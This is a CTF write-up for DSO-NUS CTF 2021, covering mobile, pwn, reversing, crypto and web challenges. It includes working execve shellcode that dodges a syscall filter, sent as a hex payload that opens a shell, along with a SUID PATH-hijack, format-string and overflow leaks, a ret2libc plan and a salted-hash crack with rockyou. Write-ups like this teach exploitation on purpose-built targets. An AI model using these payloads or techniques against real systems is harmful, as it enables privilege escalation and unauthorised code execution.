DSO-NUS CTF 2021
Mobile
Login
It's time for a simple, relaxing challenge.
Can you find the correct credentials?
Decompile the apk with jadx:
Looking at login
, decoding the hex string gives us the value User1337
for str
The first 4 characters of str2
can be obtained by decrypting m_password
with the key in AESTools
, making a guess that this uses AES CBC. This gives us the value L1v3
.
The final part of str2
can be obtained by dynamic analysis with frida
(note that frida-server
has to be running first, see this):
We can then hash str2
for the flag.
FlashyLighty
Bling bling flashlight by day, diary by night
We can decompile the native library with Ghidra:
undefined8
Java_com_dso_flashylighty_MainActivity_gimmie
(long *param_1,undefined8 param_2,uint param_3,undefined8 param_4)
{
undefined (*pauVar1) [16];
long in_FS_OFFSET;
undefined local_48 [16];
byte local_38;
byte local_37;
byte local_36;
byte local_35;
byte local_34;
byte local_33;
undefined local_32;
long local_28;
local_28 = *(long *)(in_FS_OFFSET + 0x28);
pauVar1 = (undefined (*) [16])(**(code **)(*param_1 + 0x548))(param_1,param_4,0);
local_48 = pshufb(ZEXT416(param_3),(undefined [16])0x0);
local_48 = local_48 ^ *pauVar1;
local_33 = (byte)param_3;
local_38 = pauVar1[1][0] ^ local_33;
local_37 = pauVar1[1][1] ^ local_33;
local_36 = pauVar1[1][2] ^ local_33;
local_35 = pauVar1[1][3] ^ local_33;
local_34 = pauVar1[1][4] ^ local_33;
local_33 = pauVar1[1][5] ^ local_33;
local_32 = 0;
__android_log_print(SUB168(*pauVar1,0),SUB168(local_48,0),0,4,"libflashylighty",&DAT_00100974,
local_48);
(**(code **)(*param_1 + 0x550))(param_1,param_4,pauVar1);
if (*(long *)(in_FS_OFFSET + 0x28) == local_28) {
return 0;
}
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
We see that w
and "zjMl+G^(j{}Gz+kLG~Wj{+"
are passed to gimmie
, which in turn casts w
to a byte
and XORs it with some data. We can make a guess and conclude that w
is XORed with the other string passed to gimmie
.
Since w
can only be 0-255, this is trivially bruteforced either with frida
or CyberChef. Note that there is a check for root
which has to be bypass before the app will run.
Sekrets
What?? A secret activity?
I wonder how many apps have these..
We again have to recover a set of credentials.
public void onClick(View view) {
String str;
if (Objects.equals(SuperSekretActivity.this.o.getText().toString(), "xYzKiRiToxYz")) {
String obj = SuperSekretActivity.this.p.getText().toString();
try {
MessageDigest instance = MessageDigest.getInstance("SHA-256");
instance.reset();
byte[] digest = instance.digest(obj.getBytes());
StringBuilder sb = new StringBuilder(digest.length * 2);
int length = digest.length;
for (int i = 0; i < length; i++) {
sb.append(String.format("%02x", new Object[]{Integer.valueOf(digest[i] & 255)}));
}
str = sb.toString();
} catch (Exception unused) {
str = null;
}
if (Objects.equals(str, "1f413f06cb30df064361e85d11c5da61e06db232e57f5b44cd3d33ab4a92e08e")) {
SuperSekretActivity superSekretActivity = SuperSekretActivity.this;
String obj2 = superSekretActivity.p.getText().toString();
Objects.requireNonNull(superSekretActivity);
char[] charArray = obj2.toCharArray();
try {
charArray[0] = (char) (charArray[0] ^ ' ');
charArray[1] = (char) (charArray[1] ^ 'V');
charArray[2] = (char) (charArray[2] ^ 'V');
charArray[4] = (char) (charArray[4] ^ 'X');
charArray[6] = (char) (charArray[6] ^ ' ');
charArray[9] = (char) (charArray[9] ^ ' ');
charArray[12] = (char) (charArray[12] ^ 'V');
charArray[14] = (char) (charArray[14] ^ 'F');
charArray[16] = (char) (charArray[16] ^ 'X');
charArray[17] = (char) (charArray[17] ^ 'F');
charArray[20] = (char) (charArray[20] ^ '!');
charArray[22] = (char) (charArray[22] ^ ' ');
} catch (Exception unused2) {
Log.w("generateFlag", "Oh no.");
}
String str2 = new String(charArray);
Objects.requireNonNull(superSekretActivity);
d.a aVar = new d.a(superSekretActivity);
AlertController.b bVar = aVar.f8a;
bVar.d = "Congrats!";
bVar.f = str2;
aVar.a().show();
return;
}
}
Toast.makeText(SuperSekretActivity.this, "Authentication Failed Successfully ;)", 0).show();
}
The username is provided in plaintext, but what about the password? We only have its SHA256 hash, for which brute force isn't exactly the first thing we reach for.
It turns out that the dots around the edge of the login screen is braille for "GITLABROCKS" repeatedly:
Searching for FlashyLighty
on GitLab, we find a prior commit with the password in plaintext.
YALA (Part 1)
Time to look at Yet Another Login App.
Try to find the right credentials and login!
We're asked to reverse engineer an .apk with aggressive anti-tampering measures like root detection and signature checking. Resorting to static analysis, we decompiled it with jadx
and examined it:
We see that str
should equal to aVar
, which is built from a
on line 5. Tracing the class a
:
Which we can evaluate for the username:
➜ tmp cat Yala1.java
import java.io.*;
public class Yala1 {
public static void main(String[] argv) {
System.out.println(new String(new byte[]{(byte) (-1462734071 >>> 4), (byte) (-385552254 >>> 9), (byte) (1107918732 >>> 19), (byte) (-198649565 >>> 6), (byte) (728446419 >>> 19), (byte) (718529411 >>> 17), (byte) (-2089595746 >>> 19)}));
}
}
➜ tmp java Yala1.java
0xAdmin
Moving on to the password now - we see from lines 13 to 15 of the code snippet from b.b.a.e.a.d.java
that sha256(")(*&^%$#" + str2)
should equal to loginDataSource.f1391c
, which is 516b36ed915a70852daf6a06c7fd1a1451d8269a8b2c5ae97110bc77b083c420
. Since there are no other hints, we brute forced it with John the Ripper, with salt )(*&^%$#
and the hash above.
With the rockyou wordlist, aeroplane
is recovered almost instantly:
> john --format=dynamic_61 --wordlist=C:\Users\Justin\Desktop\rockyou.txt hashes.txt
Using default input encoding: UTF-8
Loaded 1 password hash (dynamic_61 [sha256($s.$p) 256/256 AVX2 8x])
Warning: no OpenMP support for this hash type, consider --fork=12
Press 'q' or Ctrl-C to abort, almost any other key for status
aeroplane (user)
1g 0:00:00:00 DONE (2021-03-01 09:26) 18.51g/s 808888p/s 808888c/s 808888C/s bologna1..samsung123
Use the "--show --format=dynamic_61" options to display all of the cracked passwords reliably
Session completed
When 0xAdmin
and aeroplane
are entered into the app, the flag is logged to logcat.
Pwn
Insecure
Someone once told me that SUID is a bad idea. Could you show me why?
After decompiling the given binary with Ghidra, we see that its stripped and there are no nice function names for us to follow. We can take a look at the entry
function and the first argument to __libc_start_main
:
And here we find the main meat of the program:
undefined8 FUN_00400746(void)
{
__uid_t __uid;
__uid_t __uid_00;
int iVar1;
undefined8 uVar2;
__uid = getuid();
puts("I am a SUID binary and can run in varying levels of privilege!");
puts("\nNow, I run in a less privileged context.");
system("id");
__uid_00 = geteuid();
iVar1 = setuid(__uid_00);
if (iVar1 == 0) {
puts("\nNext, I wil run in a more privileged context.");
system("id");
setuid(__uid);
puts("\nOnce I am done, as a good practice, I should return my privileges.");
puts("And I run in a less privileged context again.");
system("id");
uVar2 = 0;
}
else {
printf("Eh? Something went wrong leh.");
printf("Can contact some geeks about this? Thanks!");
perror("seteuid");
uVar2 = 0xffffffff;
}
return uVar2;
}
As the challenge description suggests, this binary has the suid
bit set. When we as nobody
executes the binary, the binary runs as the owner of the binary rather than as nobody
. As the output from id
suggests, id
is ran three times, the first as nobody
, the second as root
(I'm assuming so, I forgot who actually owned the binary on the challenge server) and the third as nobody
again.
The plan of attack is thus as follows:
- Create a fake
id
that will print the flag - Call
insecure
How can we trick insecure
into running our fake id
then? Well, when we run a command eg ls
or cat
, the shell starts looking at the directories specified in the PATH environment variable to find the binary. All we have to do is thus put the folder containing our fake id
before the standard path.
Elaborating on the plan:
- Create a fake
id
in/tmp
- Add
/tmp
toPATH
- Call
insecure
Syscall Phobia
Timmy has created a program to execute any x86_64 bytecode instructions! However, Timmy has an absolute detest for syscalls, and does not want anyone to insert syscalls into their instructions. This will make it a little secure... right?
We take a quick look at the binary in Ghidra to determine whether we're meant to break the blacklist, or actually write a payload that does not use syscalls.
undefined8 FUN_00400a2c(void)
{
size_t sVar1;
void *pvVar2;
char local_118 [260];
int local_14;
code *local_10;
local_10 = (code *)mmap((void *)0x0,0x1000,7,0x22,-1,0);
puts("Enter your hexadecimal bytecode here and we will execute it for you!");
puts("We absolutely hate syscalls so please DO NOT enter syscall instructions here :D");
puts("Example: 554889e5c9c3\n");
puts("Enter assembly bytecode here! (No syscalls please, tenks): ");
fflush(stdout);
fgets(local_118,200,stdin);
sVar1 = strcspn(local_118,"\n");
local_118[sVar1] = '\0';
local_14 = FUN_004008f6(local_118,local_10,local_10);
pvVar2 = memmem(local_10,(long)local_14,&DAT_00400d5e,2);
if (pvVar2 == (void *)0x0) {
pvVar2 = memmem(local_10,(long)local_14,&DAT_00400d61,2);
if (pvVar2 == (void *)0x0) {
puts("Executing your assembly code!");
fflush(stdout);
DAT_006020a0 = local_10;
(*local_10)();
return 0;
}
}
puts("Hey! I told you no syscalls! :(");
/* WARNING: Subroutine does not return */
exit(1);
}
Well, looks foolproof. Line 20 and 22 look for 0F05h
and CD80h
(syscall
and int 0x80
respectively) in the entered payload and fails if any of them are found.
Lets grab shellcode and see what it disassembles to:
push rax
xor rdx,rdx
xor rsi,rsi
movabs rbx,0x68732f2f6e69622f
push rbx
push rsp
pop rdi
mov al,0x3b
syscall
That final syscall
is the issue here, the binary detects that and quits.
Since the binary does not have PIE enabled, what gadgets do we have access to?
➜ pwn-syscall ropper -f syscall-phobia
[INFO] Load gadgets for section: LOAD
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
Gadgets
=======
...
0x0000000000400d5e: syscall;
169 gadgets found
That's convenient. All we have to do is replace the syscall
with a jmp to 0x400d5e
:
push rax
xor rdx,rdx
xor rsi,rsi
movabs rbx,0x68732f2f6e69622f
push rbx
push rsp
pop rdi
mov al,0x3b
mov r15,0x400d5e
jmp r15
Which gives us our flag:
➜ pwn-syscall nc ctf-rv6w.balancedcompo.site 9998
Selected user namespace base 10000 and range 1000.
Enter your hexadecimal bytecode here and we will execute it for you!
We absolutely hate syscalls so please DO NOT enter syscall instructions here :D
Example: 554889e5c9c3
Enter assembly bytecode here! (No syscalls please, tenks):
504831D24831F648BB2F62696E2F2F736853545FB03B49C7C75E0D400041FFE7
Executing your assembly code!
printf "%s" $(<flag.txt)
DSO-NUS{a5a5ab1dc69bb9ffb55e75bdc290313d7d7137e653c98e66cc23dc042b2046bc}
Interestingly, we were dropped into an environment without access to standard binaries like cat
, so we resorted to using printf
instead.
Futuristic Secure Bulletin
You managed to break into one of the imposter's communication system, named the Futuristic Secure Bulletin Service. This service lets the imposters send messages to one another secretly. Are you able to find out about their secrets?
Decompile:
void FUN_00100c34(uint param_1,uint param_2,uint param_3,int param_4)
{
print_banner();
if (param_4 == 0x539) {
flag();
}
printf("User ID: %d \t Device ID: %d \t Session ID: %d\n",(ulong)param_1,(ulong)param_2,
(ulong)param_3);
printf("Please enter the recipient\'s name:");
fflush(stdout);
read_input();
printf("Enter Message:");
fflush(stdout);
read_message();
puts("Message Sent!");
puts("Thank You for using the Futuristic Secure Bulletin System! Goodbye.");
return;
}
void read_input(void)
{
char local_12 [10];
fflush(stdin);
read(0,local_12,10);
filter(local_12);
puts("Sending message to:");
printf(local_12);
putchar(10);
return;
void read_message(void)
{
undefined local_108 [256];
fflush(stdin);
read(0,local_108,300);
filter(local_108);
return;
}
The first obvious bug as hinted by the challenge name is a Format String Bug where user input is passed to a printf
call as the format string in line 10 of read_input
, which allows us to send a 10 byte payload
A quick checksec
points out that there is no stack canary, meaning we can exploit the buffer overflow in read_message
: it reads 300 bytes into a 256 byte buffer.
gef➤ checksec
[+] checksec for '/mnt/c/Users/Justin/Desktop/dsonus21/pwn-fsb/FSBS'
Canary : ✘
NX : ✓
PIE : ✓
Fortify : ✘
RelRO : Full
Although a convenient flag
function is provided, PIE is also enabled, forcing us to leak a memory address before we can jump to flag
. We can make use of the printf
to leak the return address of read_input
, which will allow us to calculate the address of flag
.
Playing around with using %n$p
to leak data on the stack, we find that %9$p
will leak the return address after read_input
, 0xCAB
.
We can then calculate the address of flag
, and write the address into the return address of read_message
.
Robust Orbital Postal Service
You managed to break into another one of the imposter's communication system, named the Robust Orbital Postal Service. This service lets the imposters send messages to one another secretly. Are you able to find out about their secrets?
We have a very similar binary to the previous challenge, except that this time, there is no convenient flag
function.
We're also given a file libc.so.6
, so evidently we're meant to return to libc.
We just have to tweak the previous solution a little - rather than leaking the address of the binary, we leak the address of __libc_start_main
.
We can then, as the challenge name implies, set up a ROP (return-oriented programming) chain:
- pop the next item into
rdi
- address of
"/bin/sh"
- address of
system
This executes system("/bin/sh")
, giving us a shell.
Task Tracker
To identify the imposter, Red has programmed a task tracker to keep track of all tasks completed. However, one of the imposters have sabotaged some of the code to make it vulnerable. Can you leverage on the vulnerability to get the secret intel?
void main(void)
{
undefined4 uVar1;
code **ppcVar2;
long in_FS_OFFSET;
undefined local_18 [8];
undefined8 local_10;
local_10 = *(undefined8 *)(in_FS_OFFSET + 0x28);
FUN_00410940(PTR_DAT_006cb740,0,2,0);
FUN_00410940(PTR_DAT_006cb748,0,2,0);
ppcVar2 = (code **)_malloc(0x30);
*ppcVar2 = FUN_004009ae;
ppcVar2[1] = list_tasks;
ppcVar2[2] = add_task;
ppcVar2[3] = change_task;
ppcVar2[4] = print_beeps;
ppcVar2[5] = meeting;
(**ppcVar2)();
do {
print_menu();
_read(0,local_18,8);
uVar1 = _atoi(local_18);
switch(uVar1) {
case 1:
(*ppcVar2[1])();
break;
case 2:
(*ppcVar2[2])();
break;
case 3:
(*ppcVar2[3])();
break;
case 4:
(*ppcVar2[4])();
break;
case 5:
(*ppcVar2[5])();
_exit(0);
default:
_puts(
"Invalid Option. Not sure if you have butter fingers, but you deserve to be voted outanyways."
);
}
} while( true );
}
The only interesting thing in main
is the presence of function pointers in the heap - this jump table is used to handle user input.
undefined8 add_task(void)
{
int len_taskname;
undefined8 uVar1;
long in_FS_OFFSET;
int i;
undefined local_18 [8];
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
if (num_tasks < 0x32) {
_printf("Please enter the length of task name:");
_read(0,local_18,8);
len_taskname = _atoi(local_18);
if (len_taskname == 0) {
_puts("Are you an imposter?");
}
else {
i = 0;
while (i < 0x32) {
if (*(long *)(&task_storage + (long)i * 0x10) == 0) {
*(int *)(&DAT_006ccbc0 + (long)i * 0x10) = len_taskname;
uVar1 = _malloc((long)len_taskname);
*(undefined8 *)(&task_storage + (long)i * 0x10) = uVar1;
_printf("Please enter the name of task:");
len_taskname = _read(0,*(undefined8 *)(&task_storage + (long)i * 0x10),(long)len_taskname)
;
*(undefined *)((long)len_taskname + *(long *)(&task_storage + (long)i * 0x10)) = 0;
num_tasks = num_tasks + 1;
break;
}
i = i + 1;
}
}
}
else {
_puts("All tasks have been tracked. Call the Emergency Meeting!");
}
uVar1 = 0;
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
uVar1 = FUN_00443c60();
}
return uVar1;
}
Nothing special here - this function allows us to malloc
an arbitrary chunk of data and write to it. The pointer is saved into an array in the data segment.
void change_task(void)
{
int iVar1;
int iVar2;
long in_FS_OFFSET;
undefined local_28 [16];
undefined local_18 [8];
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
if (num_tasks == 0) {
_puts("Are you doing your tasks?");
}
else {
_printf("Please enter the index of the task you want to change:");
_read(0,local_28,8);
iVar1 = _atoi(local_28);
if (*(long *)(&task_storage + (long)iVar1 * 0x10) == 0) {
_puts("That is what an imposter would say.");
}
else {
_printf("Enter the length of task name:");
_read(0,local_18,8);
iVar2 = _atoi(local_18);
_printf("Enter the new task name:");
iVar2 = _read(0,*(undefined8 *)(&task_storage + (long)iVar1 * 0x10),(long)iVar2);
*(undefined *)((long)iVar2 + *(long *)(&task_storage + (long)iVar1 * 0x10)) = 0;
}
}
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
FUN_00443c60();
}
return;
}
Here is where it gets more interesting. This function purportedly allows us to modify a previously created task. However, there are two key issues here:
- There is no validation of the task index submitted before writing to it
- The user is allowed to set an arbitrary length for the task name, potentially overwriting heap memory if the length is longer than previously allocated
This allows us to write arbitrary data to a pointer in the data segment.
The plan of attack is thus as follows:
- Find a pointer in the data segment pointing to the heap, preferably close to but must be before the address returned by
malloc
on line 13 ofmain
. - Use the arbitrary write to write to the pointer, essentially writing into the heap
- Write the address of the conveniently provided
flag
function into the jump table - Call the function pointer that was overwritten
Note that the exploit isn't reliable across different systems, you may have to tweak the number of bytes of padding before the address of PRINT_FLAG
.
Reverse Engineering
Three Trials
Reverse the binary, understand the conditions, dust out your math textbooks and solve the trials!
We get a binary that takes in: get this - not two, not four, but three numbers and validates them.
The first function is straightforward:
We see the final if
condition constraining the input to between (400, 1000), so a simple brute force returns 407
.
We can similarly brute force the solution to check two, except that multiple valid answers are returned. The largest solution 38962
is correct.
undefined8 FUN_001014e6(int param_1)
{
double dVar1;
int local_10;
int local_c;
local_10 = 0;
local_c = 1;
while (local_c <= param_1) {
if ((param_1 % local_c == 0) && (local_c != param_1)) {
local_10 = local_10 + local_c;
}
local_c = local_c + 1;
}
if (((local_10 == param_1) && (dVar1 = (double)power(10,5), dVar1 < (double)local_10)) &&
(dVar1 = (double)power(10,8), (double)local_10 < dVar1)) {
return 1;
}
return 0;
}
Check three is more interesting - the final if
suggests that we're looking for an answer in (10^5, 10^8) which is not reasonable to brute force. Reading the code, we can search for a crude description of it and find a convenient list of perfect numbers on Wikipedia. The solution within the stated range is 33550336
.
Copying the decompiled code into a C file and executing it is a quick way to brute force the first two checks:
#include <stdio.h>
#include <math.h>
#include <stdint.h>
#define ulong unsigned long
#define uint unsigned int
double power(int param_1,int param_2)
{
return pow((double)param_1,(double)param_2);
}
char FUN_00101325(int param_1)
{
...
}
ulong FUN_001013e8(uint param_1)
{
...
}
void main() {
min = (double)power(10,5);
max = (double)power(10,8);
unsigned long i = 401;
while (i < 1000) {
if (FUN_00101325(i)) {
printf("ans: %d\n", i);
}
i ++;
}
i = 46;
while(1) {
if (FUN_001013e8(i)) {
printf("ans2: %d\n", i);
}
i++;
}
}
SOAR
Looking for a scholarship?
Help us find the secret hidden in this one!
We're given a pdf, which we can run binwalk
on to extract a zip
file. Although the zip is password protected, dso
is easily recoverable.
➜ rev-soar binwalk -e SOAR-challenge.pdf DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 0 0x0 PDF document, version: "1.4" 70 0x46 Zip archive data, at least v2.0 to extract, compressed size: 4729, uncompressed size: 4760, name: soar.zip 40792 0x9F58 End of Zip archive, footer length: 22
We get an extremely long binary:
undefined8 main(void)
{
undefined uVar1;
byte bVar2;
...
int local_hour;
uint local_minutes;
bVar11 = 0;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
buf1 = (char *)malloc(0xd50c51);
i = 0;
printf_offset = 0;
local_6a8 = 0;
buf2 = malloc(0xd50c51);
i = 2;
while ((long)i < 0xd50c52) {
*(undefined *)((long)buf2 + i) = 1;
i = i + 1;
}
i = 2;
while ((long)i < 0xd50c52) {
if (*(char *)((long)buf2 + i) != '\0') {
printf_offset = i * i;
while ((long)printf_offset < 0xd50c51) {
*(undefined *)((long)buf2 + printf_offset) = 0;
printf_offset = printf_offset + i;
}
}
i = i + 1;
}
time(&local_6c0);
local_680 = localtime(&local_6c0);
local_minutes = local_680->tm_min;
local_668[0] = 0x36;
local_668[1] = 0x26;
...
local_668[45] = 0x22;
local_668[46] = 0xf;
local_5ac = 5;
i1 = 0x30;
plVar7 = &DAT_00102040;
plVar9 = fname_input;
while (i1 != 0) {
i1 = i1 + -1;
*plVar9 = *plVar7;
plVar7 = plVar7 + (ulong)bVar11 * -2 + 1;
plVar9 = plVar9 + (ulong)bVar11 * -2 + 1;
}
buf1[0x2f] = '\0';
i = 0;
while ((long)i < 0x2f) {
fname_input[i] = fname_input[i] + -0x1a000;
fname_input[i] = fname_input[i] + -0xc51;
fname_input[i] = fname_input[i] - (long)(int)((int)local_220 + 5U ^ local_minutes);
buf1[local_668[i] - ((int)local_220 + 5)] = (char)fname_input[i];
i = i + 1;
}
i = 0;
fp = fopen(buf1,"r");
if (fp != (FILE *)0x0) {
fseek(fp,0,2);
i1 = ftell(fp);
i = (ulong)(i1 == (int)((local_5ac + (int)local_220 ^ local_minutes) + 0x18ce6));
fclose(fp);
}
local_hour = local_680->tm_hour;
if (i != 0) {
local_6a0 = 0;
while (local_6a0 < 0xd50c51) {
if (*(char *)((long)buf2 + local_6a0) != '\0') {
local_670 = malloc(0x2a);
i1 = local_6a0;
local_6cc = (int)local_6a0;
printf_offset = 0;
lVar3 = printf_offset;
do {
printf_offset = lVar3;
bVar2 = (byte)(local_6cc >> 0x37);
local_minutes = (uint)(local_6cc >> 0x1f) >> 0x1c;
if ((int)((local_6cc + local_minutes & 0xf) - local_minutes) < 10) {
cVar4 = '0';
}
else {
cVar4 = 'W';
}
*(byte *)((long)local_670 + printf_offset) =
(((char)local_6cc + (bVar2 >> 4) & 0xf) - (bVar2 >> 4)) + cVar4;
if (local_6cc < 0) {
local_6cc = local_6cc + 0xf;
}
local_6cc = local_6cc >> 4;
lVar3 = printf_offset + 1;
} while (local_6cc != 0);
iVar5 = (int)printf_offset;
*(undefined *)((long)local_670 + printf_offset + 1) = 0;
local_6a0 = 0;
printf_offset = SEXT48(iVar5);
while (local_6a0 < (long)printf_offset) {
uVar1 = *(undefined *)((long)local_670 + local_6a0);
*(undefined *)((long)local_670 + local_6a0) =
*(undefined *)((long)local_670 + printf_offset);
*(undefined *)((long)local_670 + printf_offset) = uVar1;
local_6a0 = local_6a0 + 1;
printf_offset = printf_offset - 1;
}
local_698 = 0;
while (local_698 < iVar5 + 1) {
buf1[local_6a8] = *(char *)(local_698 + (long)local_670);
local_698 = local_698 + 1;
local_6a8 = local_6a8 + 1;
}
buf1[local_6a8] = buf1[local_6a8] + 'C';
buf1[local_6a8 + 1] = buf1[local_6a8 + 1];
buf1[local_6a8 + 2] = buf1[local_6a8 + 2] + 'L';
buf1[local_6a8 + 1] = 'S';
local_6a8 = local_6a8 + 3;
local_6a0 = i1;
free(local_670);
}
local_6a0 = local_6a0 + 1;
}
}
i1 = 0x41;
plVar7 = &DAT_001021c0;
plVar9 = local_218;
while (i1 != 0) {
i1 = i1 + -1;
*plVar9 = *plVar7;
plVar7 = plVar7 + (ulong)bVar11 * -2 + 1;
plVar9 = plVar9 + (ulong)bVar11 * -2 + 1;
}
i1 = 0x20;
puVar8 = &DAT_001023e0;
puVar10 = local_4a8;
while (i1 != 0) {
i1 = i1 + -1;
*puVar10 = *puVar8;
puVar8 = puVar8 + (ulong)bVar11 * -2 + 1;
puVar10 = puVar10 + (ulong)bVar11 * -2 + 1;
}
*(undefined4 *)puVar10 = *(undefined4 *)puVar8;
i = 0;
while (i < 0x40) {
if (*(int *)((long)local_4a8 + i * 4) - local_hour < 1) {
iVar5 = local_hour - *(int *)((long)local_4a8 + i * 4);
}
else {
iVar5 = *(int *)((long)local_4a8 + i * 4) - local_hour;
}
if (*(int *)((long)local_4a8 + i * 4) - local_hour < 1) {
iVar6 = local_hour - *(int *)((long)local_4a8 + i * 4);
}
else {
iVar6 = *(int *)((long)local_4a8 + i * 4) - local_hour;
}
aiStack1448[(ulong)(long)iVar6 % 0x41] = (int)buf1[local_218[(ulong)(long)iVar5 % 0x41]];
i = i + 1;
}
i = 0;
while (i < 0x40) {
if ((i & 1) == 0) {
buf1[i] = (char)aiStack1448[i];
if (i == 0) {
printf_offset = i;
}
}
else {
if ((local_hour == local_3a8 + (int)local_18) && (buf1[i] = (char)aiStack1448[i], i == 1)) {
printf_offset = printf_offset + 3;
}
}
i = i + 1;
}
buf1[i] = '\0';
printf(*(char **)(fStr + printf_offset * 8),buf1,buf1);
if (local_10 == *(long *)(in_FS_OFFSET + 0x28)) {
return 0;
}
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
This binary does the following:
- Read current time
- Use the minutes previously read to decrypt a
filename
- Open
filename
, ensure that its length is equal to0x18ce6
or101606
bytes long - Use the minutes and hours previously read to decrypt the flag
After spending way too long trying to extract the logic for brute force, we decided to just change our system time and use strace
to log the filename:
from pwn import *
import os
for i in range(60):
os.system(f"sudo date -s '2021-02-27 21:{i:02}:00'")
r = process(["strace", "./soar"])
r.recvuntil("openat")
r.recvuntil("openat")
r.recvuntil("openat")
r.recvuntil("openat")
print(r.recvline())
r.close()
Only one string makes sense:
Sat Feb 27 21:11:00 +08 2021
[x] Starting local process '/usr/bin/strace'
[+] Starting local process '/usr/bin/strace': pid 8452
b'(AT_FDCWD, "Scholarship for Aspiring Researchers (SOAR).pdf", O_RDONLY) = -1 ENOENT (No such file or directory)\n'
[*] Stopped process '/usr/bin/strace' (pid 8452)
We can create the file with the expected size with fallocate -l 101606 Scholarship\ for\ Aspiring\ Researchers\ \(SOAR\).pdf
, then brute force the hour to get the flag:
from pwn import *
import os
import time
for i in range(24):
os.system(f"sudo date -s '2021-02-27 {i:02}:11:00'")
r = process(["./soar"])
print(r.recv())
r.close()
Sat Feb 27 11:11:00 +08 2021
[+] Starting local process './soar': pid 760
b'4c7b655ed2e3eb42f1d886786c14fe5a757e416f5373de5cd2e4089b870eb5da\n'
[*] Stopped process './soar' (pid 760)
Crypto
Protect the Vaccine
A nation-supported hacker group is using their cutting edge technology to attack a company that develops vaccine. They roll their own crypto with a hope that it will be more secure. Luckily, we have got some of their crypto system information and also have found some research that is likely to break their crypto system. I heard you are a cipher breaker, could you help us to decrypt their secret and protect the vaccine from their plan?
We're given a paper A New LSB Attack on Special-Structured RSA Primes
, along with the following:
Since we're given exactly enough information to replicate the attack described in the paper, its also obvious that we're meant to execute the attack against the ciphertext provided for the flag.
The most challenging part here was dealing with the large numbers - we had issues with float precision that was resolved by setting gmpy2
's precision as large as possible.
Sighhh
How about I use my private key to encrypt in public key cryptosystem?
We get a certificate sighhh.der
, containing nested certificates inside the asn1 data.
Each certificate contains three things of interest to us:
- Modulus & Exponent
- Another certificate
- Encrypted data
PyCryptodome can be used to extract the modulus and exponent from each certificate, while the nested certificate and encrypted data can be copied directly from the decoded ASN.1 certificate.
b'\x01\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00If you can see this, it means that you have | DSO-NUS{02197697b152a2e6'
b'\x01\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00verified these messages with the right keys. | d9d36efcfe0950664f6b88c8'
b'\x01\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00Signing is not encryption. | c3d644b27f6fc65d7e67d0ad}'
Web
Easy Sql
Not much to say here, refer to https://www.cnblogs.com/gaonuoqi/p/12398554.html
Yes, even the database name, table names and comments (the line about sqlmap not being panacea) are the same.
In my own opinion, taking a past challenge and adding extra restrictions/iterating on it is perfectly fine, but reusing the exact same challenge with keywords that participants could google and find and copy the solution from?...
babyNote
Hey... NUS is creating a note app.. but the admin forgot to remove some secrets.
